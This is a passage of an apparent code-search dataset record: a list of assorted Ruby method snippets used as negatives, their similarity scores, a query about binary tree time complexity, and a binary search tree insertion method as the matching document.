"def recalculate\n line_items = LineItem.where(\"order_id = '#{order.attrs['id']}'\")\n sub_total = 0\n line_items.map do |li|\n sub_total += li.attrs['amount'].to_f * li.attrs['quantity'].to_i\n end\n order.attrs = order.attrs.merge('sub_total' => sub_total)\n if sub_total > DISCOUNTABLE_AMOUNT\n @order.attrs = order.attrs.merge('amount' => sub_total - DISCOUNT, 'discont_desc' => \"#{DISCOUNT} OFF For order more than #{DISCOUNTABLE_AMOUNT}\")\n else\n @order.attrs = order.attrs.merge('amount' => sub_total, 'discont_desc' => '')\n end\n\n @order.save\n\n end",
"def edgeu_network(cmd)\n $lock.synchronize{\n $network.update_cost($hostname, cmd[0], cmd[1].to_i,cmd[2].to_i)\n \n if $rt.has_key? cmd[0]\n $rt[cmd[0]][:cost] = cmd[1].to_i\n end\n }\nend",
"def set_totals\n if stat!=\"diff\"\n self.update_attributes({fga:fga_pg*games, fgm:fgm_pg*games})\n totals_dist_att = {dist_0to3feet_fga:dist_0to3feet_percshots*fga, dist_3to10feet_fga:dist_3to10feet_percshots*fga, dist_10to16feet_fga:dist_10to16feet_percshots*fga, dist_16to3pt_fga:dist_16to3pt_percshots*fga, threept_fga:threept_percshots*fga, twopt_fga:twopt_perc_shots*fga}\n self.update_attributes(totals_dist_att)\n self.update_attributes({corner_fga:corner_perc3pt*threept_fga, non_corner_fga:(1-corner_perc3pt)*threept_fga})\n totals_dist_made = {dist_0to3feet_fgm:dist_0to3feet_perc*dist_0to3feet_fga, dist_3to10feet_fgm:dist_3to10feet_perc*dist_3to10feet_fga, dist_10to16feet_fgm:dist_10to16feet_perc*dist_10to16feet_fga, dist_16to3pt_fgm:dist_16to3pt_perc*dist_16to3pt_fga, threept_fgm:threept_perc*threept_fga, twopt_fgm:twopt_perc*twopt_fga}\n self.update_attributes(totals_dist_made)\n self.update_attributes(corner_fgm:corner_perc*corner_fga) \n self.update_attributes(non_corner_fgm:threept_fgm-corner_fgm)\n end\n end",
"def ndp_recalc(arg=:all)\n arg = arg.intern if arg.respond_to? :intern\n case arg\n when :ndp_sum\n self.ndp_sum = ndp_calc_sum\n when :all\n self.ndp_sum = ndp_calc_sum\n else\n raise ArgumentError, \"No such field `#{arg}'\"\n end\n end",
"def tcp_calc_sum\n if @ipv6_header\n checksum = ipv6_calc_sum_on_addr\n tcp_len = ipv6_len\n else\n checksum = ip_calc_sum_on_addr\n tcp_len = ip_len.to_i - ((ip_hl.to_i) * 4)\n end\n\n checksum += 0x06 # TCP Protocol.\n checksum += tcp_len\n checksum += tcp_src\n checksum += tcp_dst\n checksum += (tcp_seq.to_i >> 16)\n checksum += (tcp_seq.to_i & 0xffff)\n checksum += (tcp_ack.to_i >> 16)\n checksum += (tcp_ack.to_i & 0xffff)\n checksum += ((tcp_hlen << 12) + \n (tcp_reserved << 9) + \n (tcp_ecn.to_i << 6) + \n tcp_flags.to_i\n )\n checksum += tcp_win\n checksum += tcp_urg\n\n chk_tcp_opts = (tcp_opts.to_s.size % 2 == 0 ? tcp_opts.to_s : tcp_opts.to_s + \"\\x00\") \n chk_tcp_opts.unpack(\"n*\").each {|x| checksum = checksum + x }\n if (tcp_len - (tcp_hlen * 4)) >= 0\n real_tcp_payload = payload[0, (tcp_len - (tcp_hlen * 4))] # Can't forget those pesky FCSes!\n else\n real_tcp_payload = payload # Something's amiss here so don't bother figuring out where the real payload is.\n end\n chk_payload = (real_tcp_payload.size % 2 == 0 ? real_tcp_payload : real_tcp_payload + \"\\x00\") # Null pad if it's odd.\n chk_payload.unpack(\"n*\").each {|x| checksum = checksum+x }\n checksum = checksum % 0xffff\n checksum = 0xffff - checksum\n checksum == 0 ? 0xffff : checksum\n @tcp_header.tcp_sum = checksum\n end",
"def recalculate_totals\n # Line's total prices (qty * amount)\n single_untaxed_price_after_rebate = BigDecimal.new( (self.single_untaxed_price - self.single_rebate).to_s )\n self.gross_price = BigDecimal.new( (self.quantity * single_untaxed_price_after_rebate).to_s )\n self.gross_price = self.gross_price\n self.taxes = (self.gross_price / BigDecimal.new(\"100.0\")) * self.tax_percentage\n self.taxed_price = (BigDecimal.new( (self.gross_price + self.taxes).to_s )).rounded # Rounded like in document_line.rb\n\n # Line's single prices (for qty 1 * amount)\n single_taxes = ((single_untaxed_price_after_rebate / BigDecimal.new(\"100.0\")) * self.tax_percentage) # like in product.rb\n self.single_price = (single_untaxed_price_after_rebate + single_taxes).rounded # Like in document_line.rb\n\n end",
"def parse(source, output)\n source.each_line do |line|\n words = line.strip.squeeze(' \\t').split(/[ \\t\\/]/)\n if words && words[0] != \"ICMP\"\n #words.each { |x| print \"\\\"#{x}\\\"\\t\" }\n #print \"\\n\"\n if(words[8] == \"100%\") #total loss\n output << [words[0],'fault']\n elsif(words[8] != \"0%,\") #partial loss\n output << [words[0],'degraded']\n else \n output << [words[0],'ok']\n end\n end\n end\nend",
"def change_load_pf(new_pf, new_hvac_pf = new_pf)\n find_by_class('house').each do |h|\n h[:hvac_power_factor] = h[:fan_power_factor] = new_hvac_pf\n h.downstream.each do |d|\n if d[:class] == 'ZIPload' && d[:groupid] != 'SC_zipload_solar'\n d[:power_pf] = d[:current_pf] = d[:impedance_pf] = new_pf\n end\n end\n end\n end",
"def get_additional_cost_totals\n pos_cost = 0.0 # init result\n neg_cost = 0.0 # init result\n AppParameterCustomizations.get_receipt_costs().each do |c|\n if c[:value] > 0\n pos_cost += c[:value].to_f / 100.0\n elsif self.price >= 78.19\n neg_cost += c[:value].to_f / 100.0 unless self.patient.is_a_firm?\n end\n end\n return { :negative => neg_cost, :positive => pos_cost }\n end",
"def calculate\n @equations = self.class.permutate(@inputs, @operators)\n @results = {}\n @equations.each do |eq|\n @results[eq] = eval(eq)\n end\n end",
"def reset\r\n @v_n_1 = @v_n_2 = 0\r\n end",
"def update_toon_create_ship_record(update_records)\n update_records.each do |r|\n payout = (r[4] - r[5]) * 0.65\n if WtShip.find_by_lossurl(r[0]) #unless there is an exact time match for a record, create a new record\n\t return false\n elsif self.created_at > r[3]\n return false\n else\n if self.bounty < payout\n payout = self.bounty\n self.bounty = 0\n self.active_bounty = 0\n self.save\n end\n \t ship_lost = wt_ships.create!(:lossurl => r[0], :ship_type => r[1], :solar_system => r[2], :eve_time_date => r[3], \n \t :isk_destroyed => r[4], :isk_dropped => r[5], :payout_amt => payout, :lost_to => r[6]\n \t\t\t) # Payout, ttl destroyed isk - isk dropped * 65%\n \t\t\t \t\t\t \n \t\t\tif r[7]\n \t\t\thero = EdenHero.find_or_initialize_by_character_id(r[7])\n \t\t\thero.name ||= r[6] \n \t\t\thero.earned_bounty_amt? ? hero.earned_bounty_amt += payout : hero.earned_bounty_amt = payout #can't add to nil\n \t\t\tif hero.save!\n \t\t\t info = [r, payout]\n \t\t\t AdminMailer.payout(r, payout).deliver\n \t\t\t else\n \t\t\t info = [r, payout]\n \t\t\t AdminMailer.error_mail(info).deliver\n \t\t\t end\n\t\t\t end\n end\n end\n end",
"def udp_statistics\n super\n end",
"def update_totals\n update_payment_total\n update_item_total\n update_order_total\n end"
] | [
"0.6783078",
"0.63914204",
"0.6342133",
"0.6342133",
"0.6191466",
"0.6164175",
"0.6094155",
"0.56137776",
"0.5549612",
"0.5419154",
"0.54019123",
"0.54019123",
"0.53256977",
"0.53256977",
"0.52058244",
"0.52058244",
"0.51873666",
"0.5144381",
"0.5143018",
"0.514041",
"0.5122843",
"0.5081491",
"0.5062329",
"0.50411844",
"0.5027752",
"0.49877718",
"0.49729574",
"0.49667636",
"0.49255013",
"0.4912874",
"0.4912874",
"0.488214",
"0.4870168",
"0.48559415",
"0.48240423",
"0.48222038",
"0.48100233",
"0.48093417",
"0.479857",
"0.47733927",
"0.47630602",
"0.47623184",
"0.4748541",
"0.47435954",
"0.4738441",
"0.46998453",
"0.469186",
"0.4685687",
"0.46655154",
"0.4657344",
"0.46499044",
"0.46396324",
"0.46255767",
"0.46233854",
"0.4618657",
"0.4610625",
"0.4566423",
"0.45656386",
"0.45649353",
"0.45649353",
"0.45598617",
"0.4557458",
"0.45422578",
"0.45385897",
"0.45210567",
"0.45198038",
"0.45155117",
"0.45155117",
"0.45117962",
"0.45100787",
"0.45100787",
"0.44944435",
"0.44927686",
"0.44927686",
"0.44878554",
"0.44856492",
"0.44844332",
"0.44811207",
"0.44786578",
"0.44747663",
"0.44678292",
"0.44629368",
"0.44529733",
"0.44529733",
"0.44521886",
"0.4449233",
"0.44428563",
"0.44412526",
"0.44366717",
"0.44365588",
"0.44286755",
"0.44230312",
"0.44149765",
"0.44130757",
"0.4409927",
"0.44039118",
"0.43983835",
"0.43978068",
"0.4395456",
"0.43938935"
] | 0.6666251 | 1 |
Time Complexity: O(n) where n is the height of the tree or O(log n) if the tree is balanced Space Complexity: O(1) | def add(key, value)
new_tree_node = TreeNode.new(key, value)
if @root.nil?
@root = new_tree_node
else
current = @root
while current
if new_tree_node.key <= current.key
if !current.left
current.left = new_tree_node
return
else
current = current.left
end
else
if !current.right
current.right = new_tree_node
return
else
current = current.right
end
end
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def find_height_nodes(root) # O(n)\n return 0 if root == nil\n left_height = 1 + find_height_nodes(root.left)\n right_height = 1 + find_height_nodes(root.right)\n\n return (left_height > right_height)? left_height : right_height\nend",
"def height_balanced(root)\n return true if root.nil?\n\n left, right = root.left, root.right\n left_depth, right_depth = max_depth(left), max_depth(right)\n\n (left_depth - right_depth) <= 1 &&\n height_balanced(left) &&\n height_balanced(right)\nend",
"def height\n return 0 if is_empty\n\n queue = [@root]\n height = 0\n\n while true\n node_count = queue.length\n\n return height if node_count == 0\n\n height += 1\n\n while node_count > 0\n node = queue.shift()\n\n queue << node.left unless node.left.nil?\n queue << node.right unless node.right.nil?\n\n node_count -= 1\n end\n end\n end",
"def height(node, height_num = 0)\n #1. get the node from the tree that we are starting from if it's not the correct class\n if (node != nil && node.class != Node)\n node = find_node(node)\n #1.5 recurisvely return height_num if node has no children\n end\n if(node.nil? || node.left.nil? && node.right.nil?)\n return height_num \n end\n height_num += 1 \n #4. start a recursive call on the left node to travel down all of it's node\n right_height_value = height(node.right,height_num)\n #5. compare values of left and right recursive values\n left_height_value = left_height(node.left) \n result = left_height_value > right_height_value ? left_height_value : right_height_value\n #6. return the value of the height of the node\n return result\n end",
"def size(tree)\n if isEmpty?(tree)\n 0\n else\n 1 + size(tree.left) + size(tree.right)\n end\nend",
"def recursive_binary_tree_height(node)\n return 0 if node.nil?\n left = recursive_binary_tree_height(node.left)\n right = recursive_binary_tree_height(node.right)\n [left, right].max + 1\nend",
"def height(node)\n if node.nil?\n return 0\n elsif node.left_child.nil? && node.right_child.nil?\n return 1\n else\n left_height = height(node.left_child)\n right_height = height(node.right_child)\n if left_height >= right_height\n return left_height + 1\n else\n return right_height + 1\n end\n end\nend",
"def is_balanced(root)\n return true if root.nil?\n left_height = depth(root.left)\n right_height = depth(root.right)\n result = (left_height - right_height).abs\n return false if result > 1\n return is_balanced(root.left) && is_balanced(root.right)\nend",
"def get_height(node)\n return 0 if node.nil?\n return 1 + [get_height(node.left), get_height(node.right)].max\nend",
"def number_of_half_nodes_in_binary_tree(root)\n return 0 if !root\n count = 0\n queue = Queue.new()\n queue.enqueue(root)\n while(!queue.is_empty?)\n node = queue.dequeue\n\n count += 1 if (node.left_child && !node.right_child) || (!node.left_child && node.right_child)\n\n queue.enqueue(node.left_child) if node.left_child\n queue.enqueue(node.right_child) if node.right_child\n end\n count\nend",
"def height_nodes(root)\n return 0 if root == nil\n\n left = height_nodes(root.left)\n right = height_nodes(root.right)\n\n if left > right\n h = 1 + left\n else\n h = 1 + right\n end\n\n return h\n\nend",
"def height(node)\n # Base case: We've reached past a leaf node (stop incrementing)\n return -1 if node.nil?\n\n # Otherwise, return the max of the left and right subtree heights.\n 1 + [height(node.left), height(node.right)].max\n end",
"def height\n return 0 if @root == nil\n t, result = @root, -1\n while t\n t = t.left\n result += 1\n end\n result\n end",
"def is_balanced(root)\n # 1) empty trees are balanced.\n return true if root.nil?\n\n # 2) find left and right depth\n left_bal = depth(root.left)\n right_bal = depth(root.right)\n\n #\n (left_bal - right_bal).abs <= 1 &&\n is_balanced(root.left) &&\n is_balanced(root.right)\nend",
"def super_balanced(tree)\n if !tree\n return true\n end\n \n depths = []\n nodes = []\n nodes.push([tree, 0])\n \n while !nodes.empty?\n node, depth = nodes.pop\n \n if !node.left && !node.right\n if !depths.include? depth\n depths.push(depth)\n \n if (depths.length > 2) || (depths.length == 2 && (depths[0] - depths[1]).abs > 1)\n return false\n end\n \n end\n else\n if node.left\n nodes.push([node.left, depth+1])\n end\n if node.right\n nodes.push([node.right, depth+1])\n end\n end\n end\n \n return true \nend",
"def height_edges(root)\n return -1 if root == nil\n\n left = height_edges(root.left)\n right = height_edges(root.right)\n\n if left > right\n h = 1 + left\n else\n h = 1 + right\n end\n\n return h\n\nend",
"def height\n height_recursive(@root)\n end",
"def is_balanced(tree, index = 0)\n return true if tree[index].nil? || tree[index] == 0\n (find_height(tree, 2*index + 1) - find_height(tree, 2*index + 2)).abs <= 1 && is_balanced(tree, 2*index + 1) && is_balanced(tree, 2*index +2)\nend",
"def height(current = @root)\n # If the current node is nil return 0\n # Otherwise return 1 plus the maximum of the heights of the right and left subtrees\n return 0 if current.nil?\n left = height(current.left)\n right = height(current.right)\n left >= right ? 1 + left : 1 + right \n end",
"def balanced?(tree_root)\n return true unless tree_root\n depths = []\n nodes = []\n nodes << [tree_root, 0]\n until nodes.empty?\n node, depth = nodes.pop\n if !node.left && !node.right\n unless depths.include?(depth)\n depths.push(depth)\n if depths.length > 2 || depths.length == 2 && (depths[0] - depths[1]).abs > 1\n return false\n end\n end\n else\n nodes << [node.left, depth + 1] if node.left\n nodes << [node.right, depth + 1] if node.right\n end\n end\n true\nend",
"def balanced?\n # tree is balanced if the difference between left and right depths is within 1\n (Tree.depth(root.left) - Tree.depth(root.right)).abs <= 1\n end",
"def height_with_recursion(root)\n return 0 unless root\n leftDepth = height_with_recursion(root.left)\n rightDepth = height_with_recursion(root.right)\n (leftDepth > rightDepth) ? leftDepth + 1 : rightDepth + 1\n end",
"def height(current_node)\n #node doesn't exist\n return -1 if current_node.nil?\n\n if current_node.left.nil? and current_node.right.nil?\n 0\n else\n if current_node.left.nil?\n return 1+height(current_node.right);\n else\n if current_node.right.nil?\n return 1+height(current_node.left);\n else\n return 1+maximum(height(current_node.left), height(current_node.right));\n end\n end\n end\n end",
"def balanced?\n difference_left_right = @root.left_child.depth - @root.right_child.depth\n difference_left_right.between?(-1, 1)\n end",
"def height(root)\n return 0 if root.nil?\n [height(root.left), height(root.right)].max + 1\nend",
"def balanced?\n (height(@root.left) - height(root.right)).between?(-1, 1)\n end",
"def height\n return 0 if @root == nil\n return 1 if @root && (@root.left == nil && @root.right == nil)\n height_helper(@root, 0)\n end",
"def find_height(root)\n return 0 if root.nil?\n left = find_height(root.left)\n right = find_height(root.right)\n left > right ? left + 1 : right + 1\nend",
"def max_depth(root)\n node_queue = [root]\n depth = 0\n\n while node_queue.any?\n depth += 1\n breadth = node_queue.size\n breadth.times do\n node = node_queue.shift\n node_queue.push(node.left) unless node.left.nil?\n node_queue.push(node.right) unless node.right.nil?\n end\n end\n\n depth\nend",
"def test_depth_of_method\n tree = BinarySearchTree.new\n tree.insert(50, \"movie a\")\n tree.insert(45, \"movie b\")\n tree.insert(40, \"movie c\")\n tree.insert(35, \"movie d\")\n assert_equal 3, tree.depth_of(35)\n end",
"def height(node = root)\n unless node.nil? || node == root\n node = (node.instance_of?(Node) ? find(node.data) : find(node))\n end\n return -1 if node.nil?\n\n [height(node.left), height(node.right)].max + 1\n end",
"def tree_height(pos)\n r = 0..0\n tree_heights = acc.map.with_index{|a, i| a ? i : nil}.reverse\n tree_heights[tree_heights.index(highest_height - 1)..-1].each do |h|\n next unless h\n r = (r.last...(r.last + 2**h))\n return h if r.include?(pos)\n end\n end",
"def balanced?(node = root)\n return true if node.nil?\n\n left_height = height(node.left)\n right_height = height(node.right)\n\n return true if (left_height - right_height).abs <= 1 && balanced?(node.left) && balanced?(node.right)\n\n false\n end",
"def height\n max_height = 0\n each do |child|\n if child.kind_of? Tree\n max_height = [max_height, 1].max\n else\n max_height = [max_height, child.height].max\n end\n end\n max_height.succ\n end",
"def get_tree_height(d,cnt = 0 )\n \n if ( d['l'] == {} && d['r'] == {} )\n @depth = cnt if @depth < cnt\n else\n cnt = cnt + 1\n get_tree_height(d['l'],cnt) if d.key?('l')\n get_tree_height(d['r'],cnt) if d.key?('r')\n end\n \n return @depth\n \nend",
"def height(node)\n if node == nil\n return 0\n else \n #calcula el alto del arbol en cada nodo \n lheight = height(node.getLeft())\n rheight = height(node.getRight())\n \n #devuelve el largo\n if lheight > rheight\n return lheight+1\n else\n return rheight+1\n end\n end\n end",
"def height\n return 0 if @root.nil?\n current = @root\n height_recursive(current)\n end",
"def height\n return @tree_height\n end",
"def height(root = self)\n return 0 if root.nil? || root.leaf?\n 1 + [height(root.left), height(root.right)].max\n end",
"def find_height_edges(root)\n return -1 if root == nil\n left_height = 1 + find_height_edges(root.left)\n right_height = 1 + find_height_edges(root.right)\n\n return (left_height > right_height)? left_height : right_height\nend",
"def sum_of_left_leaves(root)\nend",
"def height\n if @root.nil?\n return 0\n elsif @root.left.nil? && @root.right.nil?\n return 1\n end\n return height_helper(@root)\n end",
"def is_balanced_binary_tree?(root)\n is_balanced_rec(root) != -1\nend",
"def rebalance!\n # Short-circut if already balanced.\n return @root if balanced?\n\n @root = build_tree(inorder)\n end",
"def total_node_number(tree)\n if tree.root == nil\n 0\n else\n left_tree = MyBinaryTree.new\n left_tree.root = tree.root.left_child\n right_tree = MyBinaryTree.new\n right_tree.root = tree.root.right_child\n 1+total_node_number(left_tree)+total_node_number(right_tree)\n end\nend",
"def is_balanced?\n diff = (self.left.depth - self.right.depth).abs\n if diff <= 1\n true\n else\n false\n end\n end",
"def test_depth_of_method_returns_nil\n tree = BinarySearchTree.new\n tree.insert(50, \"movie a\")\n tree.insert(45, \"movie b\")\n assert_nil tree.depth_of(35)\n end",
"def balance\n node = self\n i = (node.count(:right) - node.count(:left))/2\n while (i!=0)\n if (i>0)\n mvnode = node.right\n node.right = nil\n mvnode.add_horizontal node\n i -= 1\n else\n mvnode = node.left\n node.left = nil\n mvnode.add_horizontal node\n i += 1\n end\n node = mvnode\n end\n if (node.left != nil)\n node.left = node.left.balance\n end\n if (node.right != nil)\n node.right = node.right.balance\n end\n if (node.down != nil)\n node.down = node.down.balance\n end\n node\n end",
"def build_tree( n , d )\n \n if d.key?('v')\n n < d['v'] ? build_tree(n , d['l']) : build_tree(n, d['r'])\n else\n d['l'] = {}\n d['v'] = n\n d['r'] = {}\n end\n \nend",
"def height(node=@root)\n node.nil? ? 0 : (1 + [height(node.right), height(node.left)].max)\n end",
"def height(node)\n return 0 if node.nil?\n\n lh = height(node.left)\n rh = height(node.right)\n @ans = [@ans, lh + rh].max\n 1 + [lh, rh].max\nend",
"def is_balanced(root)\n return true if root.nil?\n\n depth_diff = max_depth(root.left) - max_depth(root.right)\n\n return depth_diff.abs <= 1 && is_balanced(root.left) && is_balanced(root.right)\nend",
"def height(node = @root)\n return 0 unless node\n\n [height(node.left), height(node.right)].max + 1\n end",
"def height\n count_right = 0\n count_left = 0\n node = @root\n return count_left if node.nil?\n\n count_left = height_helper(node, 'left', count_left)\n count_right = height_helper(node, 'right', count_right)\n if count_right > count_left\n count_right\n else\n count_left\n end\n end",
"def size(node)\n if node.nil?\n return 0\n elsif node.left_child.nil? && node.right_child.nil?\n return 1\n else\n left_size = size(node.left_child)\n right_size = size(node.right_child)\n return left_size + 1 + right_size\n end\nend",
"def height(node = @root)\n return 0 if node.nil?\n\n 1 + [height(node.left), height(node.right)].max\n end",
"def height(root)\n return 0 if root.nil?\n left_height = height(root.left)\n right_height = height(root.right)\n [left_height, right_height].max + 1\nend",
"def calc_tree_height(\n cycle:\n)\n height = 1\n return height if cycle.zero?\n (1..cycle).each do |num|\n height = num.odd? ? height * 2 : height + 1\n end\n height\nend",
"def get_diameter(node)\n return 0 if node.nil? || (node.left.nil? && node.right.nil?)\n left_height = get_height(node.left)\n right_height = get_height(node.right)\n left_diameter = get_diameter(node.left)\n right_diameter = get_diameter(node.right)\n return [left_diameter, right_diameter, left_height + right_height + 1].max\nend",
"def half_nodes_count(root)\n if root.nil?\n puts 'Empty tree'\n return\n end\n half_nodes_count = 0\n queue = QueueWithLinkedList.new\n queue.enqueue(root)\n while !queue.isEmpty?\n node = queue.dequeue\n half_nodes_count += 1 if ((node.left && !node.right) || (!node.left && node.right))\n queue.enqueue(node.left) if node.left\n queue.enqueue(node.right) if node.right\n end\n half_nodes_count\n end",
"def node_depths(root)\n sum_of_depths = 0\n stack = [{\"node\"=> root, \"depth\"=> 0}]\n\n while stack.length > 0\n node_info = stack.pop()\n node, depth = node_info[\"node\"], node_info[\"depth\"]\n if node.nil?\n next\n end\n sum_of_depths += depth\n stack.append({\"node\"=> node.left, \"depth\"=> depth + 1})\n stack.append({\"node\"=> node.right, \"depth\"=> depth + 1})\n end\n return sum_of_depths\n\nend",
"def rebalance\n @root = build_tree(self.level_order_traversal) if !self.balanced?\n end",
"def size_without_recursion\n count = 0\n return 0 unless @root\n q = QueueWithLinkedList.new\n q.enqueue(@root)\n while !q.isEmpty?\n node = q.dequeue\n count += 1\n q.enqueue(node.left) if node.left\n q.enqueue(node.right) if node.right\n end\n count\n end",
"def utopian_tree_size(n)\n\n\t# Using the formula above, the solution is quite simple\n\t# (n) = (2^(m+1) - 2) + 1(1 - n mod 2), where m = ( n + n mod 2) / 2\n\n\t# Find the max M \n\tm = ( n + n % 2) / 2\n\n\t# Get the result \n\t(2**(m+1) - 2 + 1*(1 - n % 2))\nend",
"def traverse_with_h(tree,height=nil,&block)\n\n tree.children.each do |t|\n traverse_with_h(t,height+1,&block)\n end\n\n if block_given?\n yield tree, height\n end\n\n end",
"def is_balanced?(tree_node = @root)\n left_depth = depth(tree_node.left)\n right_depth = depth(tree_node.right)\n\n return left_depth == right_depth\n\n end",
"def height(key, count = 0, child = level_order(key).pop)\n count += 1\n if child == key\n return count - 1\n else\n parent = find_parent(child).data\n height(key, count, parent)\n end\n end",
"def is_balanced(tree_root)\n depths = [] # we short-circuit as soon as we find more than 2\n \n # we'll treat this array as a stack that will store pairs [node, depth]\n nodes = []\n nodes.push([tree_root, 0])\n \n while !nodes.empty?\n # pop a node and its depth from top of stack\n node, depth = nodes.pop\n \n # case: we found a leaf\n if !node.left && !node.right\n \n # we only care if it's a new depth\n if !depths.include? depth\n depths.push(depth)\n \n # two ways we might now have an unbalanced tree\n # 1. more than 2 different leaf depths\n # 2. 2 leaf depths that are more than 1 apart\n if (depths.length > 2) || \\\n (depths.length == 2 && (depths[0] - depths[1]).abs > 1)\n return false\n end\n end\n # case: this isn't a leaf - keep stepping down\n else\n if node.left\n nodes.push([node.left, depth + 1])\n end\n if node.right\n nodes.push([node.right, depth + 1])\n end\n end\n end\n return true\n \nend",
"def height(node)\n\tif node == nil\n\t\treturn 0\n\tend\n\tlheight = height(node.left)\n\trheight = height(node.right)\n\t@ans = [@ans,(lheight+rheight+1)].max\n\tif lheight > rheight\n\t\treturn lheight+1\n\telse\n\t\treturn rheight+1\n\tend\nend",
"def max_depth(root)\n return 0 if root.nil?\n left_height = max_depth(root.left)\n right_height = max_depth(root.right)\n return left_height > right_height ? left_height + 1 : right_height + 1;\nend",
"def balance_factor(node)\n node.nil? ? 0 : (height(node.left) - height(node.right))\n end",
"def with_rows_and_height\n root = self\n queue = [root]\n visited = []\n\n until queue.empty?\n current = queue.shift\n adjacency_list = current.children\n\n self.height += 1\n adjacency_list.each do |node|\n root.rows << (node.nil? ? \"x\" : node.value)\n next if node.nil?\n visited << node.value\n\n if node.distance == Float::INFINITY\n node.distance = current.distance + 1\n node.parent = current\n queue.push(node)\n end\n end\n end\n\n self\n end",
"def solution(t)\n # write your code in Ruby 2.2\n depth = 0\n childs = []\n\n childs << t.l if t.l\n childs << t.r if t.r\n\n while not childs.empty? do\n depth += 1\n\n cc = []\n childs.each do |t|\n cc << t.l if t.l\n cc << t.r if t.r\n end\n\n childs = cc\n end\n\n depth\nend",
"def balanced?\n left = height(@root.left_node)\n right = height(@root.right_node)\n\n if (left - right).abs <= 1\n return true\n end\n\n return false\n end",
"def height\n return 0 if @root.nil?\n return [height_helper(@root.left), height_helper(@root.right)].max + 1\n end",
"def depth_iter(root=@root)\n return 0 if root.nil? # height of an empty tree is 0\n \n s = []\n h = 1\n s.push [root, h]\n loop do\n break if s.empty?\n node, _h = s.pop\n # nothing to do with node.val\n h = _h if h < _h # interested by the max\n s.push [node.rnode, _h+1] if node.rnode\n s.push [node.lnode, _h+1] if node.lnode\n end\n h\n end",
"def is_balanced?(tree_node = @root)\n # byebug\n return true if tree_node.nil?\n left_depth = tree_node.left ? depth(tree_node.left) : -1 \n right_depth = tree_node.right ? depth(tree_node.right) : -1\n if ((left_depth - right_depth).abs <=1) && is_balanced?(tree_node.left) && is_balanced?(tree_node.right)\n return true \n end \n false\n end",
"def heapify(index)\n left = @tree[left(index)]\n right = @tree[right(index)]\n current = @tree[index]\n if !left && !right # if no children exist nothing to compare with\n nil\n elsif left && !right\n if left.rating < current.rating\n temp = @tree[index]\n @tree[index] = @tree[left]\n @tree[left] = temp\n #no need to heapify at a leaf\n end\n elsif left.rating < current.rating || right.rating < current.rating\n if @tree[left].rating <= @tree[right].rating\n temp = @tree[index] #current index and left swap if it's the smaller of two children\n @tree[index] = @tree[left]\n @tree[left] = temp\n heapify(left(index))\n elsif @tree[right].rating < @tree[left].rating\n temp = @tree[index] #current index and left swap if it's the smaller of two children\n @tree[index] = @tree[right]\n @tree[right] = temp\n heapify(right(index))\n end\n end\n end",
"def height(current = @root, h = 0)\n return h unless current\n\n height_left = height(current.left, h + 1)\n height_right = height(current.right, h + 1)\n\n height_left > height_right ? height_left : height_right\n end",
"def tree_by_levels(node)\n return [] if node.nil?\n queue = [node]\n visited = []\n while !queue.empty?\n node = queue.shift\n visited << node.value\n [node.left, node.right].each do |child|\n queue << child if child\n end\n end\n visited\nend",
"def find_breadth_traversal_tree(in_order,post_order,level, h)\n # level => 0F 0T 1F 1T etc\n if in_order.size == nil || in_order.size == 0\n puts \"finish\"\n elsif in_order.size == 1\n # finish\n yield(level, in_order[0])\n puts \"#{level} \\t #{in_order[0]}\"\n else \n # this is not finished yet\n max_index_in_post = 0\n max_index_in_in = 0\n in_order.each_with_index do |in_ele,in_index|\n post_index = post_order.index(in_ele)\n\n if post_index > max_index_in_post\n max_index_in_post = post_index\n max_index_in_in = in_index\n end\n\n end\n current_root = in_order[max_index_in_in]\n yield(level, current_root)\n puts \"#{level} \\t #{current_root}\"\n\n level[0] = (Integer(level[0])+1).to_s\n next_level_f = level+\"F\"\n next_level_t = level+\"T\"\n front_of_in = in_order[0...max_index_in_in]\n tail_of_in = in_order[(max_index_in_in+1)...in_order.size]\n \n #\n find_breadth_traversal_tree(front_of_in,post_order,next_level_f, h) {|level,ele| h[level] = ele}\n find_breadth_traversal_tree(tail_of_in,post_order,next_level_t, h) {|level,ele| h[level] = ele}\n\n #\n end # end of else\n\n\nend",
"def height\n depths = []\n recursive_yield_leaf_heights(current_node: @root, depth: 0) { |depth| depths << depth }\n return depths.max || 0 # The depth of an empty tree is zero.\n end",
"def is_balanced(root)\n Struct.new(\"BalancedStatus\", :balanced, :height)\n check_balanced(root).balanced\nend",
"def subtree_size(node)\n return 0 if node.nil?\n\n 1 + subtree_size(node.left) + subtree_size(node.right)\n end",
"def countDown(root = @root)\r\n #if there are no children, return one to count that node\r\n return 1 if not root.children.any?\r\n #array to store each possible depth\r\n branches = []\r\n root.children.each do | child |\r\n #recursively find each child and add one for each\r\n branches.push(countDown(child) + 1)\r\n end \r\n #all possible depthes are in branches, return the deepest\r\n return branches.max\r\n end",
"def height_helper(current_node)\n if current_node.nil?\n return 0 \n end\n\n left = height_helper(current_node.left)\n right = height_helper(current_node.right)\n \n if left > right\n return left += 1\n else\n return right += 1\n end\n end",
"def total_depth(node, depth = 0)\n @d = depth\n @d = @d + 1 if node.children.size > 0\n node.children.map{|c| x = total_depth(c,@d) - 1; @d = x if x > @d }\n return @d\nend",
"def tree\n root = Node.new(1)\n root.left = Node.new(2)\n root.right = Node.new(3)\n root.left.left = Node.new(4)\n root.left.right = Node.new(5)\n root.right.left = Node.new(6)\n root.right.right = Node.new(7)\n root.right.right.right = Node.new(8)\n root\nend",
"def size\n return @tree.size\n end",
"def elegant_tree_by_levels(node)\n stack=[]\n stack.push node if node\n stack.each do |n|\n stack.push n.left if n.left\n stack.push n.right if n.right\n end\n stack.map! &:value\nend",
"def test_leaves_works\n tree = BinarySearchTree.new\n tree.insert(50, \"movie a\")\n tree.insert(40, \"movie b\")\n tree.insert(60, \"movie c\")\n tree.insert(45, \"movie d\")\n tree.insert(20, \"movie e\")\n tree.insert(55, \"movie f\")\n tree.insert(80, \"movie g\")\n assert_equal 4, tree.leaves\n end",
"def preOrder(root) # O(n)\n\n return nil if root == nil\n\n print \" #{root.value}\"\n preOrder(root.left)\n preOrder(root.right)\n\nend",
"def bfs(tree)\n Enumerator.new do |yielder|\n queue = [tree]\n while !queue.empty?\n node = queue.shift\n children = node[1..-1]\n yielder << node.first\n children.each do |child|\n queue << child\n end\n end\n end\nend",
